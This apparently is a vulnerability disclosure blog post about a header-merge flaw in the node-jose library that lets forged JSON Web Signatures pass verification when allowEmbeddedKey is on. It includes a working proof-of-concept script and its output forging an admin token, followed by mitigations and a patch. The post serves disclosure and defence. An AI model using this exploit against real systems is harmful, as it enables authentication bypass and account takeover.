1. The Background: JWS Serialization and Embedded Keys
    1. The Danger of allowEmbeddedKey
  2. The Root Cause: A Lethal Object Merge Flaw
    1. Why is this fatal?
  3. Exploit Proof-of-Concept
    1. Expected Output
  4. The Real-World Impact
  5. The Remediation
    1. Immediate Mitigation (Configuration)
    2. The Code Fix (Patching node-jose)
  6. Conclusion

It is always a profoundly frustrating day in security research when you do everything right: you discover a critical vulnerability, you responsibly disclose it to a major vendor with a clear proof-of-concept, you offer remediation advice, and you wait. You wait through the standard 90-day disclosure window, only to be met with complete radio silence.

Months ago, I reported a devastating authentication bypass vulnerability in Cisco’s widely used node-jose package (affecting all versions <= 2.2.0). Despite the extreme severity of the flaw which allows an unauthenticated remote attacker to completely forge JSON Web Signatures (JWS) and bypass authentication mechanisms Cisco has failed to acknowledge the report, respond to follow-ups, or release a patch.

When vendors silently ignore critical infrastructure flaws, they leave developers in the dark and end-users exposed to catastrophic risk. To protect the community, force remediation, and provide defensive teams with the context they need to secure their environments, I am making this vulnerability public today.

If you are using node-jose to verify JWTs/JWS objects and your verifier is instantiated with allowEmbeddedKey: true, you are currently vulnerable to a complete, zero-click authentication bypass.

Here is a comprehensive deep dive into the vulnerability, the cryptographic logic flaw that makes it possible, and how to exploit and mitigate it.

The Background: JWS Serialization and Embedded Keys

node-jose is a highly popular JavaScript implementation of the JSON Object Signing and Encryption (JOSE) framework, often used in enterprise Node.js applications for identity management, single sign-on (SSO), and secure data transmission.

To understand exactly how this vulnerability manifests, we need to briefly unpack how JSON Web Signatures handle headers. While most developers are familiar with the “Compact Serialization” of JWTs (the standard Header.Payload.Signature string), JWS also supports a more complex JSON-based serialization format (both “General” and “Flattened”).

In these JSON serialization formats, a JWS can contain two distinct sets of headers:

  1. Protected Header: JSON data that is base64url-encoded and cryptographically protected. This data is included in the digital signature calculation. If tampered with, the signature becomes invalid.
  2. Unprotected Header: JSON data that is attached to the token structure for routing or metadata purposes but is not covered by the cryptographic signature. Anyone can modify this header without invalidating the token.

The Danger of allowEmbeddedKey

In federated identity environments, an application sometimes needs to dynamically verify tokens from multiple unknown issuers. To solve this, the JOSE specification allows an issuer to embed the public key used to verify the token directly inside the token’s header using the jwk (JSON Web Key) parameter.

In node-jose, developers enable this feature by passing allowEmbeddedKey: true to the verifier. While inherently risky (as you are trusting the token to tell you how to verify it), it is supposed to be safe as long as the application strictly enforces the use of strong asymmetric algorithms (like RS256) and validates the embedded public key against a trusted root or CA chain.

However, when a library fails to strictly separate protected and unprotected headers, this trust model completely collapses.

The Root Cause: A Lethal Object Merge Flaw

The vulnerability I discovered is a logical descendant of the infamous CVE-2018-0114, a previous node-jose flaw where the library blindly trusted the jwk parameter. While Cisco attempted to patch the library’s key-handling logic years ago, they left a gaping hole in how the library parses the cryptographic algorithm (alg) parameter.

The core vulnerability lies in how node-jose processes the unprotected header during token verification. Let’s look at the source code in lib/jws/verify.js (Lines 88-93):

// combine fields and decode signature per signatory
sigList = sigList.map(function(s) {
var header = clone(s.header || {});
var protect = s.protected ?
JSON.parse(base64url.decode(s.protected, "utf8")) :
{};
header = merge(header, protect); // <--- VULNERABILITY HERE

When the library verifies a JWS, it extracts both the unprotected header (s.header) and the protected header (s.protected). It decodes them and then blindly calls a custom merge(header, protect) utility.

Because of how this merge works, properties in protect will overwrite properties in header. However, if a property exists in header but is missing from protect, the resulting merged object retains the unverified value from the unprotected header.

This merged object is then trusted implicitly as the absolute source of truth for the rest of the verification process.

Further down the execution chain in lib/jws/verify.js (Lines 143-144), the library attempts to extract the embedded key:

// TODO: resolve jku, x5c, x5u
if (opts.allowEmbeddedKey && sig.header.jwk) {
algKey = JWK.asKey(sig.header.jwk);
}

Why is this fatal?

Because sig.header is the polluted result of the merge() operation, the library completely trusts header.alg and header.jwk even if they were injected exclusively via the unprotected header.

An attacker can execute a classic cryptographic downgrade attack:

  1. They specify a symmetric algorithm (HS256) in the unprotected header.
  2. They provide their own symmetric HMAC key via the unprotected jwk parameter.
  3. Because these fields are unprotected, the attacker can sign the payload themselves using their injected key.
  4. node-jose extracts the attacker’s algorithm and the attacker’s key, verifies the signature, sees that it matches, and successfully authenticates the token.

The library transitions from relying on a trusted asymmetric public key to relying on a symmetric key generated by the attacker.

Exploit Proof-of-Concept

Exploiting this flaw is remarkably trivial. An attacker simply utilizes the flattened JSON serialization format, creates a completely empty protected header (protect: ""), and pushes all the required cryptographic routing information (alg and jwk) into the unprotected header.

Here is a fully functional Proof-of-Concept (PoC) exploit:

// poc.js
const jose = require('node-jose');
(async () => {
// 1) The Attacker generates their own malicious symmetric HMAC key
const atk = await jose.JWK.createKey('oct', 256, { alg: 'HS256', use:'sig' });
// 2) The Attacker creates the malicious token
// Notice that 'alg' and 'jwk' are placed in the 'fields' object (unprotected)
// and the protected header is explicitly set to an empty string.
const jws = await jose.JWS
.createSign({
format: 'flattened',
fields: { alg: 'HS256', jwk: atk.toJSON(true) }, // Injecting into Unprotected Header
protect: "" // Empty protected header entirely bypasses signature coverage
}, atk)
.update(Buffer.from('{"sub":"admin"}')) // Privilege Escalation Payload
.final();
console.log('\n--- Malicious Token ---\n', JSON.stringify(jws, null, 2));
// 3) The Victim Server verifies the token
// The keystore is null, but allowEmbeddedKey makes it trust the attacker's key
const ok = await jose.JWS
.createVerify(null, { allowEmbeddedKey: true })
.verify(jws);
console.log('\n[+] Forged token accepted! Payload =', ok.payload.toString());
})();

Expected Output

Running this script successfully bypasses all validation checks and outputs the forged token:

--- Malicious Token ---
{
"payload": "eyJzdWIiOiJhZG1pbiJ9",
"header": {
"alg": "HS256",
"jwk": {
"kty": "oct",
"kid": "4ZAuVyQNLc6KJNS621FVb4enIr0i-rtxfBc0Bw3AILO",
"use": "sig",
"alg": "HS256",
"k": "NtgFaXYD9SNMXsleybDDR_RUfPa0c60rL5nARd5wjil"
}
},
"signature": "MHiTj_JVv60oPu7mxIxb2G6UaLwNflitsE86K87bCnU"
}
[+] Forged token accepted! Payload = {"sub":"admin"}

As you can observe in the JSON output, the protected property is completely absent. The algorithm (alg) and the key (jwk) are entirely untrusted and unverified, yet node-jose accepts the payload as a validly signed admin token.

The Real-World Impact

The implications of this flaw are severe. In any application using node-jose with allowEmbeddedKey: true for authorization routing or session management, this vulnerability results in Vertical Privilege Escalation and Account Takeover.

An attacker does not need to crack your private keys, steal active session tokens, or exploit SQL injection. They simply hand-craft a token declaring themselves as the admin user, sign it with their own key, and present it to your API. Because the cryptographic trust chain is broken at the library level, your application will parse the token, verify the signature, and grant the attacker full administrative access.

Furthermore, because this affects token validation, it easily traverses microservice architectures where internal services inherently trust JWTs validated at the API gateway level.

The Remediation

Since Cisco has not provided an official patch, development teams utilizing node-jose must mitigate this manually immediately to prevent exploitation.

Immediate Mitigation (Configuration)

Review your codebase for any usage of jose.JWS.createVerify(). If you are passing { allowEmbeddedKey: true } in the options, remove it immediately unless it is strictly required by your architecture.

If your application absolutely relies on embedded keys, you must implement a pre-flight validation check. Before passing the token to node-jose, manually parse the token structure and assert that the alg and jwk fields are completely absent from the unprotected header.

The Code Fix (Patching node-jose)

To permanently resolve the root cause within the library itself, the code must be patched to strictly enforce RFC 7515 §4.1.1, which explicitly dictates that the alg parameter must reside in the cryptographically protected header.

If you are maintaining a fork of node-jose or using patch-package, you can apply this fix inside lib/jws/verify.js (immediately after decoding the protected header around Line 92):

  var protect = s.protected ?
                JSON.parse(base64url.decode(s.protected, "utf8")) :
                {};
+ 
+ // Strict enforcement of RFC 7515 §4.1.1
+ if (!protect.alg) {
+   throw new Error('alg must appear in the protected header (RFC 7515 §4.1.1)');
+ }
+ 
  header = merge(header, protect);

By throwing an error before the merge() happens, the library will reject any token attempting to smuggle cryptographic routing data through the unprotected header, neutralizing the downgrade attack.

Conclusion

It is unacceptable for a widely deployed cryptographic library to silently fail open, allowing trivial authentication bypasses. It is even more concerning when the maintainers of that library ignore responsible disclosure from the security community.

Relying on open-source infrastructure requires diligence, and unfortunately, we cannot always wait for vendors to act in the best interest of their users. Check your node-jose implementations today, apply the mitigations outlined above, and strongly consider migrating to actively maintained JOSE alternatives if Cisco continues to neglect this project.

Posted in